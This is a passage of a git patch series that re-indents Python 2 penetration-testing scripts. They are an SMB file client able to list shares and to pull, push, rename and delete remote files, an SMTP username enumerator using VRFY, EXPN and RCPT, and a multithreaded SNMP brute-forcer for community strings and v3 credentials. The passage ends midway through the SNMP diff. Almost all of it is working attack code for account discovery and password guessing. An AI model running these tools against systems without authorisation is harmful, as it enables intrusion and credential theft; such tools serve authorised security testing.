args.retrievefile: - smb_retrieve_file(conn, args.retrievefile[0], args.retrievefile[1], args.retrievefile[2], timeout) - elif args.retrievefilefromoffset: - smb_retrieve_file_from_offset(conn, args.retrievefilefromoffset[0], args.retrievefilefromoffset[1], args.retrievefilefromoffset[2], int(args.retrievefilefromoffset[3]), int(args.retrievefilefromoffset[4]), timeout) - elif args.storefile: - smb_store_file(conn, args.storefile[0], args.storefile[1], args.storefile[2], timeout) - elif args.rename: - smb_rename_file(conn, args.rename[0], args.rename[1], args.rename[2], timeout) - elif args.delete: - smb_delete_file(conn, args.delete[0], args.delete[1], timeout) - elif args.deletedirectory: - smb_delete_directory(conn, args.deletedirectory[0], args.deletedirectory[1], timeout) - smb_close(conn) - except Exception as e: - if args.verbose: - print "something went wrong" - print "%s" % e - else: - print "something went wrong. use -v for more details" - + timeout = args.timeout + verbose = args.verbose + try: + conn = smb_connect(args) + if conn: + if args.listshares: + smb_list_shares(conn, timeout) + elif args.listsnapshots: + smb_list_snapshots(conn, args.listsnapshots[0], args.listsnapshots[1], timeout) + elif args.listpath: + smb_list_path(conn, args.listpath[0], args.listpath[1], timeout, verbose) + elif args.getattributes: + smb_get_attributes(conn, args.getattributes[0], args.getattributes[1], timeout, verbose) + elif args.retrievefile: + smb_retrieve_file(conn, args.retrievefile[0], args.retrievefile[1], args.retrievefile[2], timeout) + elif args.retrievefilefromoffset: + smb_retrieve_file_from_offset(conn, args.retrievefilefromoffset[0], args.retrievefilefromoffset[1], + args.retrievefilefromoffset[2], int(args.retrievefilefromoffset[3]), + int(args.retrievefilefromoffset[4]), timeout) + elif args.storefile: + smb_store_file(conn, args.storefile[0], args.storefile[1], args.storefile[2], timeout) + elif args.rename: + smb_rename_file(conn, args.rename[0], args.rename[1], args.rename[2], timeout) + elif args.delete: + smb_delete_file(conn, args.delete[0], args.delete[1], timeout) + elif args.deletedirectory: + smb_delete_directory(conn, args.deletedirectory[0], args.deletedirectory[1], timeout) + smb_close(conn) + except Exception as e: + if args.verbose: + print "something went wrong" + print "%s" % e + else: + print "something went wrong. use -v for more details" def main(): - parser_description = "-listsnapshots is only supported on Windows Vista and Windows 7.\n" +\ - "When using -retrievefilefromoffset, set maxlength to -1 to read until EOF.\n" +\ - "When testing, -rename worked only on Windows systems." - parser = argparse.ArgumentParser(description = parser_description, formatter_class=argparse.RawTextHelpFormatter) - parser.add_argument("-ip", action="store", dest="ip", required=True, help="e.g. 192.168.0.1") - parser.add_argument("-port", action="store", dest="port", required=True, type=int, help="e.g. 139") - parser.add_argument("-username", action="store", dest="username", required=True, help="e.g. administrator") - parser.add_argument("-password", action="store", dest="password", required=True, help="e.g. secret") - parser.add_argument("-domain", action="store", dest="domain", default="", required=False, help="e.g. WORKGROUP") - - group = parser.add_mutually_exclusive_group(required=True) - group.add_argument("-listshares", action="store_true", dest="listshares") - group.add_argument("-listsnapshots", action="store", dest="listsnapshots", nargs=2, metavar=("share", "remotepath")) - group.add_argument("-listpath", action="store", dest="listpath", nargs=2, metavar=("share", "remotepath")) - group.add_argument("-getattributes", action="store", dest="getattributes", nargs=2, metavar=("share", "remotepath")) - group.add_argument("-retrievefile", action="store", dest="retrievefile", nargs=3, metavar=("share", "remotepath", "localpath")) - group.add_argument("-retrievefilefromoffset", action="store", dest="retrievefilefromoffset", nargs=5, metavar=("share", "remotepath", "localpath", "offset", "maxlength")) - group.add_argument("-storefile", action="store", dest="storefile", nargs=3, metavar=("share", "localpath", "remotepath")) - group.add_argument("-rename", action="store", dest="rename", nargs=3, metavar=("share", "oldpath", "newpath")) - group.add_argument("-delete", action="store", dest="delete", nargs=2, metavar=("share", "remotepath")) - group.add_argument("-deletedirectory", action="store", dest="deletedirectory", nargs=2, metavar=("share", "remotepath")) - - parser.add_argument("-timeout", action="store", dest="timeout", type=int, default=5, required=False, help="default 5") - parser.add_argument("-v", action="store_true", dest="verbose", default=False, required=False) - args = parser.parse_args() - - run_smb_action(args) + parser_description = "-listsnapshots is only supported on Windows Vista and Windows 7.\n" + \ + "When using -retrievefilefromoffset, set maxlength to -1 to read until EOF.\n" + \ + "When testing, -rename worked only on Windows systems." + parser = argparse.ArgumentParser(description=parser_description, formatter_class=argparse.RawTextHelpFormatter) + parser.add_argument("-ip", action="store", dest="ip", required=True, help="e.g. 192.168.0.1") + parser.add_argument("-port", action="store", dest="port", required=True, type=int, help="e.g. 139") + parser.add_argument("-username", action="store", dest="username", required=True, help="e.g. administrator") + parser.add_argument("-password", action="store", dest="password", required=True, help="e.g. secret") + parser.add_argument("-domain", action="store", dest="domain", default="", required=False, help="e.g. WORKGROUP") + + group = parser.add_mutually_exclusive_group(required=True) + group.add_argument("-listshares", action="store_true", dest="listshares") + group.add_argument("-listsnapshots", action="store", dest="listsnapshots", nargs=2, metavar=("share", "remotepath")) + group.add_argument("-listpath", action="store", dest="listpath", nargs=2, metavar=("share", "remotepath")) + group.add_argument("-getattributes", action="store", dest="getattributes", nargs=2, metavar=("share", "remotepath")) + group.add_argument("-retrievefile", action="store", dest="retrievefile", nargs=3, + metavar=("share", "remotepath", "localpath")) + group.add_argument("-retrievefilefromoffset", action="store", dest="retrievefilefromoffset", nargs=5, + metavar=("share", "remotepath", "localpath", "offset", "maxlength")) + group.add_argument("-storefile", action="store", dest="storefile", nargs=3, + metavar=("share", "localpath", "remotepath")) + group.add_argument("-rename", action="store", dest="rename", nargs=3, metavar=("share", "oldpath", "newpath")) + group.add_argument("-delete", action="store", dest="delete", nargs=2, metavar=("share", "remotepath")) + group.add_argument("-deletedirectory", action="store", dest="deletedirectory", nargs=2, + metavar=("share", "remotepath")) + + parser.add_argument("-timeout", action="store", dest="timeout", type=int, default=5, required=False, + help="default 5") + parser.add_argument("-v", action="store_true", dest="verbose", default=False, required=False) + args = parser.parse_args() + + run_smb_action(args) if __name__ == '__main__': - main() + main() From 44125a933ade9c4622c580204c74cb079092e71b Mon Sep 17 00:00:00 2001 From: BhavKaran Date: Fri, 5 Oct 2018 16:46:48 +0530 Subject: [PATCH 05/12] Add files via upload --- smtp/smtp-user-enumeration.py | 251 +++++++++++++++++----------------- 1 file changed, 126 insertions(+), 125 deletions(-) diff --git a/smtp/smtp-user-enumeration.py b/smtp/smtp-user-enumeration.py index 1748de6..d196e6a 100755 --- a/smtp/smtp-user-enumeration.py +++ b/smtp/smtp-user-enumeration.py @@ -1,148 +1,149 @@ #!/usr/bin/env python2 -#copyright curesec gmbh 2014, ping@curesec.com +# copyright curesec gmbh 2014, ping@curesec.com import argparse import socket import sys + class SMTPUserEnumerator(object): - def __init__(self, rhost, rport, command, userfile, timeout, verbose): - self.rhost = rhost - self.rport = int(rport) - self.command = command - self.userfile = userfile - self.timeout = int(timeout) - self.verbose = verbose - self.hits = [] - - - def createsocket(self): - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(self.timeout) - s.connect((self.rhost, self.rport)) - return s - - def testconnection(self): - if self.verbose: - print("Testing connection...") - s = None - try: - s = self.createsocket() - except socket.error as e: - print("socket.error: " + str(e)) - return False - finally: - if s: - s.close() - return True - - def run(self): - print("Starting user enumeration with command " + self.command + "...") - f = open(self.userfile, "r") - for username in f.readlines(): - username = username.strip() - self.testusername(username) - - - def testusername(self, username): - if self.verbose: - print("Testing username " + username + " with command " + self.command + "...") - s = None - log = "" - reply = "" - try: - s = self.createsocket() - - # grab banner - data = s.recv(1024) - log = log + data - - s.send("HELO a\r\n") - data = s.recv(1024) - log = log + data - - if self.command == "VRFY": - s.send("VRFY " + username + "\r\n") - elif self.command == "EXPN": - s.send("EXPN " + username + "\r\n") - else: #RCPT - s.send("MAIL FROM:example@mail.com\r\n") + def __init__(self, rhost, rport, command, userfile, timeout, verbose): + self.rhost = rhost + self.rport = int(rport) + self.command = command + self.userfile = userfile + self.timeout = int(timeout) + self.verbose = verbose + self.hits = [] + + def createsocket(self): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(self.timeout) + s.connect((self.rhost, self.rport)) + return s + + def testconnection(self): + if self.verbose: + print("Testing connection...") + s = None + try: + s = self.createsocket() + except socket.error as e: + print("socket.error: " + str(e)) + return False + finally: + if s: + s.close() + return True + + def run(self): + print("Starting user enumeration with command " + self.command + "...") + f = open(self.userfile, "r") + for username in f.readlines(): + username = username.strip() + self.testusername(username) + + def testusername(self, username): + if self.verbose: + print("Testing username " + username + " with command " + self.command + "...") + s = None + log = "" + reply = "" + try: + s = self.createsocket() + + # grab banner data = s.recv(1024) log = log + data - s.send("RCPT TO:" + username + "\r\n") - data = s.recv(1024) - log = log + data - reply = data - except socket.error as e: - print("socket.error: " + str(e)) - finally: - if s: - s.close() - if reply.startswith("2"): - if not username in self.hits: - self.hits.append(username) + s.send("HELO a\r\n") + data = s.recv(1024) + log = log + data - if self.verbose: - print("Received output:\n" + log) + if self.command == "VRFY": + s.send("VRFY " + username + "\r\n") + elif self.command == "EXPN": + s.send("EXPN " + username + "\r\n") + else: # RCPT + s.send("MAIL FROM:example@mail.com\r\n") + data = s.recv(1024) + log = log + data + s.send("RCPT TO:" + username + "\r\n") + data = s.recv(1024) + log = log + data + reply = data + except socket.error as e: + print("socket.error: " + str(e)) + finally: + if s: + s.close() + if reply.startswith("2"): + if not username in self.hits: + self.hits.append(username) - def printhits(self): - print(str(len(self.hits)) + " valid usernames found") - for username in self.hits: - print("[" + username + "]") + if self.verbose: + print("Received output:\n" + log) + def printhits(self): + print(str(len(self.hits)) + " valid usernames found") + for username in self.hits: + print("[" + username + "]") def checkiffileexists(path): - try: - open(path, "r") - except IOError: - print("Unable to open " + path) - exit(1) + try: + open(path, "r") + except IOError: + print("Unable to open " + path) + exit(1) def main(argv): - description = "### SMTP user enumeration ###\n" + \ - "It is based on the SMTP commands: VRFY, EXPN, RCPT.\n" + \ - "Results may be inaccurate (false positives) as not all SMTP servers act the same.\n" +\ - "Furthermore, this script does not support StartTLS or authentication.\n" +\ - "To inspect the server's resonse, use the -v verbosity switch.\n" +\ - "Output of valid usernames are in the form of: [username]\n\n" +\ - "example:\n" +\ - "smtp-user-enumeration.py -rhost 192.168.10.10 -command VRFY -userfile users.txt" - - parser = argparse.ArgumentParser(description=description, formatter_class=argparse.RawTextHelpFormatter) - parser.add_argument("-rhost", action="store", dest="rhost", required=True, help="host name or IP address") - parser.add_argument("-rport", action="store", dest="rport", required=False, default="25", help="default: 25") - parser.add_argument("-command", action="store", dest="command", required=True, help="choose VRFY, EXPN, RCPT or ALL") - parser.add_argument('-userfile', action="store", dest="userfile", required=True, help="file containing usernames separated by newlines") - parser.add_argument("-timeout", action="store", dest="timeout", default="5", required=False, help="in seconds. Default: 5") - parser.add_argument("-v", action="store_true", dest="verbose", required=False, help="verbose") - - args = parser.parse_args() - - if args.command != "VRFY" and args.command != "EXPN" and args.command != "RCPT" and args.command != "ALL": - print("command must either be 'VRFY', 'EXPN', 'RCPT' or 'ALL'") - sys.exit(1) - - checkiffileexists(args.userfile) - - smtpuserenumerator = SMTPUserEnumerator(args.rhost, args.rport, args.command, args.userfile, args.timeout, args.verbose) - isconnected = smtpuserenumerator.testconnection() - if isconnected: - if smtpuserenumerator.command == "ALL": - smtpuserenumerator.command = "VRFY" - smtpuserenumerator.run() - smtpuserenumerator.command = "EXPN" - smtpuserenumerator.run() - smtpuserenumerator.command = "RCPT" - smtpuserenumerator.run() - else: - smtpuserenumerator.run() - smtpuserenumerator.printhits() - else: - print("Unable to connect to " + smtpuserenumerator.rhost + ":" + str(smtpuserenumerator.rport)) + description = "### SMTP user enumeration ###\n" + \ + "It is based on the SMTP commands: VRFY, EXPN, RCPT.\n" + \ + "Results may be inaccurate (false positives) as not all SMTP servers act the same.\n" + \ + "Furthermore, this script does not support StartTLS or authentication.\n" + \ + "To inspect the server's resonse, use the -v verbosity switch.\n" + \ + "Output of valid usernames are in the form of: [username]\n\n" + \ + "example:\n" + \ + "smtp-user-enumeration.py -rhost 192.168.10.10 -command VRFY -userfile users.txt" + + parser = argparse.ArgumentParser(description=description, formatter_class=argparse.RawTextHelpFormatter) + parser.add_argument("-rhost", action="store", dest="rhost", required=True, help="host name or IP address") + parser.add_argument("-rport", action="store", dest="rport", required=False, default="25", help="default: 25") + parser.add_argument("-command", action="store", dest="command", required=True, + help="choose VRFY, EXPN, RCPT or ALL") + parser.add_argument('-userfile', action="store", dest="userfile", required=True, + help="file containing usernames separated by newlines") + parser.add_argument("-timeout", action="store", dest="timeout", default="5", required=False, + help="in seconds. Default: 5") + parser.add_argument("-v", action="store_true", dest="verbose", required=False, help="verbose") + + args = parser.parse_args() + + if args.command != "VRFY" and args.command != "EXPN" and args.command != "RCPT" and args.command != "ALL": + print("command must either be 'VRFY', 'EXPN', 'RCPT' or 'ALL'") + sys.exit(1) + + checkiffileexists(args.userfile) + + smtpuserenumerator = SMTPUserEnumerator(args.rhost, args.rport, args.command, args.userfile, args.timeout, + args.verbose) + isconnected = smtpuserenumerator.testconnection() + if isconnected: + if smtpuserenumerator.command == "ALL": + smtpuserenumerator.command = "VRFY" + smtpuserenumerator.run() + smtpuserenumerator.command = "EXPN" + smtpuserenumerator.run() + smtpuserenumerator.command = "RCPT" + smtpuserenumerator.run() + else: + smtpuserenumerator.run() + smtpuserenumerator.printhits() + else: + print("Unable to connect to " + smtpuserenumerator.rhost + ":" + str(smtpuserenumerator.rport)) main(sys.argv[1:]) From 5e771c9886e5ef04751077a16f2bebce6152891a Mon Sep 17 00:00:00 2001 From: BhavKaran Date: Fri, 5 Oct 2018 16:47:19 +0530 Subject: [PATCH 06/12] Add files via upload --- snmp/snmp-brute-force.py | 554 +++++++++++++++++++-------------------- snmp/snmp-discovery.py | 329 ++++++++++++----------- snmp/snmp-walk.py | 212 +++++++-------- 3 files changed, 545 insertions(+), 550 deletions(-) diff --git a/snmp/snmp-brute-force.py b/snmp/snmp-brute-force.py index f89ea10..9b7a6e9 100755 --- a/snmp/snmp-brute-force.py +++ b/snmp/snmp-brute-force.py @@ -7,143 +7,143 @@ from pysnmp.entity.rfc3413.oneliner import cmdgen - - myQueue = Queue.Queue() myLock = threading.Lock() -auth_protocols = { "MD5": cmdgen.usmHMACMD5AuthProtocol, "SHA": cmdgen.usmHMACSHAAuthProtocol} -priv_protocols = { "DES": cmdgen.usmDESPrivProtocol, "3DES": cmdgen.usm3DESEDEPrivProtocol, - "AES128": cmdgen.usmAesCfb128Protocol, "AES192": cmdgen.usmAesCfb192Protocol, - "AES256": cmdgen.usmAesCfb256Protocol } +auth_protocols = {"MD5": cmdgen.usmHMACMD5AuthProtocol, "SHA": cmdgen.usmHMACSHAAuthProtocol} +priv_protocols = {"DES": cmdgen.usmDESPrivProtocol, "3DES": cmdgen.usm3DESEDEPrivProtocol, + "AES128": cmdgen.usmAesCfb128Protocol, "AES192": cmdgen.usmAesCfb192Protocol, + "AES256": cmdgen.usmAesCfb256Protocol} successful_auth_protocol = None successful_priv_protocol = None successful_logins = [] -class SNMP_BRUTE_FORCE(threading.Thread): - def run(self): - while True: - username, auth_password, auth_protocol, priv_password, priv_protocol = myQueue.get() - self.snmp_brute_force(username, auth_password, auth_protocol, priv_password, priv_protocol) - myQueue.task_done() - - - def snmp_brute_force(self, username, auth_password, auth_protocol, priv_password, priv_protocol): - global passwords - global ip - global port - global version - global timeout - global retries - global verbose - - if version == 1 or version == 2: - # parameter "username" is the community string - if verbose: - myLock.acquire() - print "Testing community string: %s" % username - myLock.release() - status = snmp_connect(username, None, None, None, None, ip, port, version, timeout, retries, verbose) - if status == "ok": - myLock.acquire() - print "Success: %s" % username - myLock.release() - else: # version 3 - global auth_protocols - global priv_protocols - global smartmode - if smartmode: - global successful_auth_protocol - global successful_priv_protocol - global successful_logins - if not auth_password: - # test username without passwords - status = snmp_connect(username, None, None, None, None, ip, port, version, timeout, retries, verbose) - if status == "ok": - myLock.acquire() - print "Success: %s" % username - myLock.release() - elif status == "timeout": - pass - elif status == "unknownuser": - if verbose: - myLock.acquire() - print "Invalid user: %s" % username - myLock.release() - else: - # I'm not completely sure if this means for 100% that the username is valid - # Could there be other error messages which indicate invalid usernames? - myLock.acquire() - print "Valid user: %s" % username - myLock.release() - - # If no password provided, stop here - if not passwords: - return - - for auth_password in passwords: - for auth_protocol in auth_protocols: - if verbose: - myLock.acquire() - print "Testing: %s:%s[%s]" % (username, auth_password, auth_protocol) - myLock.release() - myQueue.put((username, auth_password, auth_protocol, None, None)) - elif not priv_password: - # test username with authentication but no privacy - - if smartmode: - if successful_auth_protocol and auth_protocol != successful_auth_protocol: - return - - if username in successful_logins: - return - - status = snmp_connect(username, auth_password, auth_protocols[auth_protocol], None, None, ip, port, version, timeout, retries, verbose) - if status == "ok": - myLock.acquire() - print "Success: %s:%s[%s]" % (username, auth_password, auth_protocol) - myLock.release() - if smartmode: - successful_auth_protocol = auth_protocol - successful_logins += [username] - # timeout and wrongdigest means wrong password - elif status == "timeout" or status == "wrongdigest": - pass - # I don't know if else is better than elif "authorizationError" or "unsupportedSecLevel" - # else might produce false positives and thus increase run time - else: - myLock.acquire() - print "Valid combination: %s:%s[%s]" % (username, auth_password, auth_protocol) - myLock.release() - for priv_password in passwords: - for priv_protocol in priv_protocols: - if verbose: - myLock.acquire() - print "Testing: %s:%s[%s]:%s[%s]" % (username, auth_password, auth_protocol, priv_password, priv_protocol) - myLock.release() - myQueue.put((username, auth_password, auth_protocol, priv_password, priv_protocol)) - else: - # test username with authentication and privacy - - if smartmode: - if successful_priv_protocol and priv_protocol != successful_priv_protocol: - return - - if username in successful_logins: - return - - status = snmp_connect(username, auth_password, auth_protocols[auth_protocol], priv_password, priv_protocols[priv_protocol], ip, port, version, timeout, retries, verbose) - if status == "ok": - myLock.acquire() - print "Success: %s:%s[%s]:%s[%s]" % (username, auth_password, auth_protocol, priv_password, priv_protocol) - myLock.release() - if smartmode: - successful_priv_protocol = priv_protocol - successful_logins += [username] - +class SNMP_BRUTE_FORCE(threading.Thread): + def run(self): + while True: + username, auth_password, auth_protocol, priv_password, priv_protocol = myQueue.get() + self.snmp_brute_force(username, auth_password, auth_protocol, priv_password, priv_protocol) + myQueue.task_done() + + def snmp_brute_force(self, username, auth_password, auth_protocol, priv_password, priv_protocol): + global passwords + global ip + global port + global version + global timeout + global retries + global verbose + + if version == 1 or version == 2: + # parameter "username" is the community string + if verbose: + myLock.acquire() + print "Testing community string: %s" % username + myLock.release() + status = snmp_connect(username, None, None, None, None, ip, port, version, timeout, retries, verbose) + if status == "ok": + myLock.acquire() + print "Success: %s" % username + myLock.release() + else: # version 3 + global auth_protocols + global priv_protocols + global smartmode + if smartmode: + global successful_auth_protocol + global successful_priv_protocol + global successful_logins + if not auth_password: + # test username without passwords + status = snmp_connect(username, None, None, None, None, ip, port, version, timeout, retries, verbose) + if status == "ok": + myLock.acquire() + print "Success: %s" % username + myLock.release() + elif status == "timeout": + pass + elif status == "unknownuser": + if verbose: + myLock.acquire() + print "Invalid user: %s" % username + myLock.release() + else: + # I'm not completely sure if this means for 100% that the username is valid + # Could there be other error messages which indicate invalid usernames? + myLock.acquire() + print "Valid user: %s" % username + myLock.release() + + # If no password provided, stop here + if not passwords: + return + + for auth_password in passwords: + for auth_protocol in auth_protocols: + if verbose: + myLock.acquire() + print "Testing: %s:%s[%s]" % (username, auth_password, auth_protocol) + myLock.release() + myQueue.put((username, auth_password, auth_protocol, None, None)) + elif not priv_password: + # test username with authentication but no privacy + + if smartmode: + if successful_auth_protocol and auth_protocol != successful_auth_protocol: + return + + if username in successful_logins: + return + + status = snmp_connect(username, auth_password, auth_protocols[auth_protocol], None, None, ip, port, + version, timeout, retries, verbose) + if status == "ok": + myLock.acquire() + print "Success: %s:%s[%s]" % (username, auth_password, auth_protocol) + myLock.release() + if smartmode: + successful_auth_protocol = auth_protocol + successful_logins += [username] + # timeout and wrongdigest means wrong password + elif status == "timeout" or status == "wrongdigest": + pass + # I don't know if else is better than elif "authorizationError" or "unsupportedSecLevel" + # else might produce false positives and thus increase run time + else: + myLock.acquire() + print "Valid combination: %s:%s[%s]" % (username, auth_password, auth_protocol) + myLock.release() + for priv_password in passwords: + for priv_protocol in priv_protocols: + if verbose: + myLock.acquire() + print "Testing: %s:%s[%s]:%s[%s]" % ( + username, auth_password, auth_protocol, priv_password, priv_protocol) + myLock.release() + myQueue.put((username, auth_password, auth_protocol, priv_password, priv_protocol)) + else: + # test username with authentication and privacy + + if smartmode: + if successful_priv_protocol and priv_protocol != successful_priv_protocol: + return + + if username in successful_logins: + return + + status = snmp_connect(username, auth_password, auth_protocols[auth_protocol], priv_password, + priv_protocols[priv_protocol], ip, port, version, timeout, retries, verbose) + if status == "ok": + myLock.acquire() + print "Success: %s:%s[%s]:%s[%s]" % ( + username, auth_password, auth_protocol, priv_password, priv_protocol) + myLock.release() + if smartmode: + successful_priv_protocol = priv_protocol + successful_logins += [username] # possible return values: @@ -153,164 +153,160 @@ def snmp_brute_force(self, username, auth_password, auth_protocol, priv_password # "wrongdigest" # "timeout" # "errorunknown" -def snmp_connect(username, auth_password, auth_protocol, priv_password, priv_protocol, ip, port, version, timeout, retries, verbose): - cmdGen = cmdgen.CommandGenerator() - - if version == 1: - authentication = cmdgen.CommunityData(username, mpModel = 0) - elif version == 2: - authentication = cmdgen.CommunityData(username, mpModel = 1) - else: # version 3: - if auth_password == None: - authentication = cmdgen.UsmUserData(username) - elif priv_password == None: - authentication = cmdgen.UsmUserData(username, auth_password, authProtocol = auth_protocol) - else: - authentication = cmdgen.UsmUserData(username, auth_password, priv_password, authProtocol = auth_protocol, privProtocol = priv_protocol) - - - errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd( - authentication, - cmdgen.UdpTransportTarget((ip, port), timeout = timeout, retries = retries), - cmdgen.MibVariable('SNMPv2-MIB', 'sysDescr', 0) - ) - - if errorIndication: - if verbose: - print "errorIndication: %s" % errorIndication - if errorIndication == "unknownUserName": - return "unknownuser" - elif errorIndication == "unsupportedSecLevel": - return "unsupported" - elif errorIndication == "wrongDigest": - return "wrongdigest" - elif "timeout" in str(errorIndication): - return "timeout" - else: - return "errorunknown" - elif errorStatus: - if verbose: - print "errorStatus: %s" % errorStatus - return "errorunknown" - else: - if verbose: - for name, val in varBinds: - print('%s = %s' % (name.prettyPrint(), val.prettyPrint())) - return "ok" - - - - +def snmp_connect(username, auth_password, auth_protocol, priv_password, priv_protocol, ip, port, version, timeout, + retries, verbose): + cmdGen = cmdgen.CommandGenerator() + + if version == 1: + authentication = cmdgen.CommunityData(username, mpModel=0) + elif version == 2: + authentication = cmdgen.CommunityData(username, mpModel=1) + else: # version 3: + if auth_password == None: + authentication = cmdgen.UsmUserData(username) + elif priv_password == None: + authentication = cmdgen.UsmUserData(username, auth_password, authProtocol=auth_protocol) + else: + authentication = cmdgen.UsmUserData(username, auth_password, priv_password, authProtocol=auth_protocol, + privProtocol=priv_protocol) + + errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd( + authentication, + cmdgen.UdpTransportTarget((ip, port), timeout=timeout, retries=retries), + cmdgen.MibVariable('SNMPv2-MIB', 'sysDescr', 0) + ) + + if errorIndication: + if verbose: + print "errorIndication: %s" % errorIndication + if errorIndication == "unknownUserName": + return "unknownuser" + elif errorIndication == "unsupportedSecLevel": + return "unsupported" + elif errorIndication == "wrongDigest": + return "wrongdigest" + elif "timeout" in str(errorIndication): + return "timeout" + else: + return "errorunknown" + elif errorStatus: + if verbose: + print "errorStatus: %s" % errorStatus + return "errorunknown" + else: + if verbose: + for name, val in varBinds: + print('%s = %s' % (name.prettyPrint(), val.prettyPrint())) + return "ok" def init(args): - global ip - global port - global version - global timeout - global retries - global verbose - global smartmode - ip = args.ip - port = args.port - version = args.version - timeout = args.timeout - retries = args.retries - verbose = args.verbose - smartmode = args.smartmode - - if version != 1 and version != 2 and version != 3: - print "Error: Version must either be 1, 2 or 3." - return - - global usernames - if args.username: - usernames = [args.username] - elif args.userfile: - usernames = [] - userfile = open(args.userfile, "r") - for username in userfile: - username = username.strip() - usernames += [username] - userfile.close() - - global passwords - passwords = [] - if version == 1 or version == 2: - if args.password or args.passwordfile: - print "Warning: Passwords not required for SNMP v1 and v2" - if version == 3: - # picking an improbable username to check whether SNMP agent is alive/responding - username = "mfxgfwvhxcrqeejolnhjskie" - if verbose: - print "Testing improbable username to check whether SMTP agent is alive." - status = snmp_connect(username, None, None, None, None, ip, port, version, timeout, retries, verbose) - if status == "timeout": - print "Error: There appears to be no SNMPv3 server on %s:%s" % (ip, port) - return - - if args.password: - if len(args.password) < 8: - print "Error: Password too short: %s" % args.password - return - passwords = [args.password] - elif args.passwordfile: - passwordfile = open(args.passwordfile, "r") - for password in passwordfile: - password = password.strip() - if len(password) < 8: - print "Warning: Password too short: %s" % password - else: - passwords += [password] - passwordfile.close() - if len(passwords) == 0: - print "Warning: No passwords provided. Thus only brute forcing usernames." - - threads = args.threads - - for i in range(args.threads): - worker_thread = SNMP_BRUTE_FORCE() - worker_thread.setDaemon(True) - worker_thread.start() - - for username in usernames: - myQueue.put((username, None, None, None, None)) - - myQueue.join() - - - - - + global ip + global port + global version + global timeout + global retries + global verbose + global smartmode + ip = args.ip + port = args.port + version = args.version + timeout = args.timeout + retries = args.retries + verbose = args.verbose + smartmode = args.smartmode + + if version != 1 and version != 2 and version != 3: + print "Error: Version must either be 1, 2 or 3." + return + + global usernames + if args.username: + usernames = [args.username] + elif args.userfile: + usernames = [] + userfile = open(args.userfile, "r") + for username in userfile: + username = username.strip() + usernames += [username] + userfile.close() + + global passwords + passwords = [] + if version == 1 or version == 2: + if args.password or args.passwordfile: + print "Warning: Passwords not required for SNMP v1 and v2" + if version == 3: + # picking an improbable username to check whether SNMP agent is alive/responding + username = "mfxgfwvhxcrqeejolnhjskie" + if verbose: + print "Testing improbable username to check whether SMTP agent is alive." + status = snmp_connect(username, None, None, None, None, ip, port, version, timeout, retries, verbose) + if status == "timeout": + print "Error: There appears to be no SNMPv3 server on %s:%s" % (ip, port) + return + + if args.password: + if len(args.password) < 8: + print "Error: Password too short: %s" % args.password + return + passwords = [args.password] + elif args.passwordfile: + passwordfile = open(args.passwordfile, "r") + for password in passwordfile: + password = password.strip() + if len(password) < 8: + print "Warning: Password too short: %s" % password + else: + passwords += [password] + passwordfile.close() + if len(passwords) == 0: + print "Warning: No passwords provided. Thus only brute forcing usernames." + + threads = args.threads + + for i in range(args.threads): + worker_thread = SNMP_BRUTE_FORCE() + worker_thread.setDaemon(True) + worker_thread.start() + + for username in usernames: + myQueue.put((username, None, None, None, None)) + + myQueue.join() def main(): - parser_description = "For SNMP version 1 and 2, username/userfile contains\n" +\ - "the community string(s) to be tested.\n" +\ - "For SNMP version 3, Passwords with a length of less then 8 are ignored.\n" +\ - "For SNMP version 3, usernames can be enumerated without providing passswords.\n" +\ - "Try to pick a low timeout to speed things up.\n" +\ - "There appears to be a bug in pysnmp: For SNMP version 3, picking\n" +\ - "a retries value of either 0 and 1 might result in an infinite loop." - parser = argparse.ArgumentParser(description = parser_description, formatter_class=argparse.RawTextHelpFormatter) - parser.add_argument("-ip", action="store", dest="ip", required=True, help="e.g. 192.168.0.1") - parser.add_argument("-port", action="store", dest="port", required=False, type=int, default=161, help="default 161") - group1 = parser.add_mutually_exclusive_group(required=True) - group1.add_argument("-username", action="store", dest="username", help="e.g. administrator") - group1.add_argument("-userfile", action="store", dest="userfile", help="e.g. users.txt") - group2 = parser.add_mutually_exclusive_group(required=False) - group2.add_argument("-password", action="store", dest="password", help="e.g. secret") - group2.add_argument("-passwordfile", action="store", dest="passwordfile", help="e.g. passwords.txt") - parser.add_argument("-version", action="store", dest="version", type=int, required=True, help="(1 | 2 | 3)") - parser.add_argument("-timeout", action="store", dest="timeout", type=int, default=3, required=False, help="default 3") - parser.add_argument("-retries", action="store", dest="retries", type=int, default=2, required=False, help="default 2. Do not use 0 or 1 due to a bug in pysnmp.") - parser.add_argument("-smartmode", action="store_true", dest="smartmode", default=False, required=False, help="For using SNMPv3. If enabled, then once a successful hashing or encryption algorithm is found, only this one will be used from then on.") - parser.add_argument("-threads", action="store", dest="threads", type=int, default=1, required=False, help="default 1") - parser.add_argument("-v", action="store_true", dest="verbose", default=False, required=False) - args = parser.parse_args() - - init(args) + parser_description = "For SNMP version 1 and 2, username/userfile contains\n" + \ + "the community string(s) to be tested.\n" + \ + "For SNMP version 3, Passwords with a length of less then 8 are ignored.\n" + \ + "For SNMP version 3, usernames can be enumerated without providing passswords.\n" + \ + "Try to pick a low timeout to speed things up.\n" + \ + "There appears to be a bug in pysnmp: For SNMP version 3, picking\n" + \ + "a retries value of either 0 and 1 might result in an infinite loop." + parser = argparse.ArgumentParser(description=parser_description, formatter_class=argparse.RawTextHelpFormatter) + parser.add_argument("-ip", action="store", dest="ip", required=True, help="e.g. 192.168.0.1") + parser.add_argument("-port", action="store", dest="port", required=False, type=int, default=161, help="default 161") + group1 = parser.add_mutually_exclusive_group(required=True) + group1.add_argument("-username", action="store", dest="username", help="e.g. administrator") + group1.add_argument("-userfile", action="store", dest="userfile", help="e.g. users.txt") + group2 = parser.add_mutually_exclusive_group(required=False) + group2.add_argument("-password", action="store", dest="password", help="e.g. secret") + group2.add_argument("-passwordfile", action="store", dest="passwordfile", help="e.g. passwords.txt") + parser.add_argument("-version", action="store", dest="version", type=int, required=True, help="(1 | 2 | 3)") + parser.add_argument("-timeout", action="store", dest="timeout", type=int, default=3, required=False, + help="default 3") + parser.add_argument("-retries", action="store", dest="retries", type=int, default=2, required=False, + help="default 2. Do not use 0 or 1 due to a bug in pysnmp.") + parser.add_argument("-smartmode", action="store_true", dest="smartmode", default=False, required=False, + help="For using SNMPv3. If enabled, then once a successful hashing or encryption algorithm is found, only this one will be used from then on.") + 